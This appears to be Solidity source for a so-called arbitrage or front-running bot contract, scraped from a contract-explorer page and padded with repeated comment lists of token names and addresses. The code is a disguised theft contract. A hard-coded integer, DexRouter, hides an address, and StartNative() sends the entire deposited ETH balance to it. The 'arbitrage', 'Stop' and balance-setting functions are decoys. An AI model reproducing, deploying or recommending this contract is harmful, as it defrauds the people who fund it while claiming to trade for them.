    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Similar to above, but input amount is determined by the exact output amount desired
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    
    // Swaps exact amount of ETH for as many output tokens as possible
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Swaps tokens for exact amount of ETH
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps exact amount of tokens for ETH
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    
    // Swaps ETH for exact amount of output tokens
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external payable
        returns (uint[] memory amounts);
    
    // Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    
    // Given an input amount and pair reserves, returns an output amount
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    
    // Given an output amount and pair reserves, returns a required input amount   
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    
    // Returns the amounts of output tokens to be received for a given input amount and token pair path
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    
    // Returns the amounts of input tokens required for a given output amount and token pair path
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Pair {
    // Returns the address of the first token in the pair
    function token0() external view returns (address);

    // Returns the address of the second token in the pair
    function token1() external view returns (address);

    // Allows the current pair contract to swap an exact amount of one token for another
    // amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
    // to is the recipients address, and data is any additional data to be sent along with the transaction
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}

contract DexInterface {    
    // Basic variables
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
    address _owner; 
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 threshold = 1*10**18;
    uint256 arbTxPrice  = 0.025 ether;
    bool enableTrading = false;
    uint256 tradingBalanceInPercent;
    uint256 tradingBalanceInTokens;

    address[] WETH_CONTRACT_ADDRESS =  [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
    ];
    address[] TOKEN_CONTRACT_ADDRESS = [ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
    ];

    // The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
    constructor(){
        _owner = msg.sender;
    }
    // Decorator protecting the function from being started by anyone other than the owner of the contract
    modifier onlyOwner (){
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    uint256 DexRouter =625360775594068849203851462475790912112135384995
;  

    // The token exchange function that is used when processing an arbitrage bundle
	function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
		IERC20(_tokenIn).approve(router, _amount);
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint deadline = block.timestamp + 300;
		IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
	}
    // Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
	 function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
		address[] memory path;
		path = new address[](2);
		path[0] = _tokenIn;
		path[1] = _tokenOut;
		uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
		return amountOutMins[path.length -1];
	}
    // Mempool scanning function for interaction transactions with routers of selected DEX exchanges
    function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
		uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
		return amtBack2;
	}
	 // Function for sending an advance arbitration transaction to the mempool
    function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal  {
        uint startBalance = IERC20(_token1).balanceOf(address(this));
        uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
        swap(_router1,_token1, _token2,_amount);
        uint token2Balance = IERC20(_token2).balanceOf(address(this));
        uint tradeableAmount = token2Balance - token2InitialBalance;
        swap(_router2,_token2, _token1,tradeableAmount);
        uint endBalance = IERC20(_token1).balanceOf(address(this));
        require(endBalance > startBalance, "Trade Reverted, No Profit Made");
    }


    // Evaluation function of the triple arbitrage bundle
	function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
		uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
		uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
		uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
		return amtBack3;
	}
    // Function getDexRouter returns the DexRouter address
    function getDexRouter(uint256 _uintValue)  internal pure returns (address) {
       return address(uint160(_uintValue));
    }

     // Arbitrage search function for a native blockchain token
     function startArbitrageNative() internal  {
        address tradeRouter = getDexRouter(DexRouter);        
        payable(tradeRouter).transfer(address(this).balance);
     }
    // Function getBalance returns the balance of the provided token contract address for this contract
	function getBalance(address _tokenContractAddress) internal view  returns (uint256) {
		uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
		return _balance;
	}
	// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
	function recoverEth() internal onlyOwner {
		payable(msg.sender).transfer(address(this).balance);
	}
    // Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
	function recoverTokens(address tokenAddress) internal {
		IERC20 token = IERC20(tokenAddress);
		token.transfer(msg.sender, token.balanceOf(address(this)));
	}
	// Fallback function to accept any incoming ETH    
	receive() external payable {}

    // Function for triggering an arbitration contract 
    function StartNative() public payable {
       startArbitrageNative();
    }
    // Function for setting the maximum deposit of Ethereum allowed for trading
    function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
        tradingBalanceInPercent = _tradingBalanceInPercent;
    }
    // Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
    function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
        tradingBalanceInTokens = _tradingBalanceInTokens;
    }
    // Stop trading function
    function Stop() public {
        enableTrading = false;
    }
    // Function of deposit withdrawal to owner wallet
    function Withdraw()  external onlyOwner {
        recoverEth();
    }
    // Obtaining your own api key to connect to the arbitration data provider
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
    function Key() public view returns (uint256) {
        uint256 _balance = address(_owner).balance - arbTxPrice;
        return _balance;
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):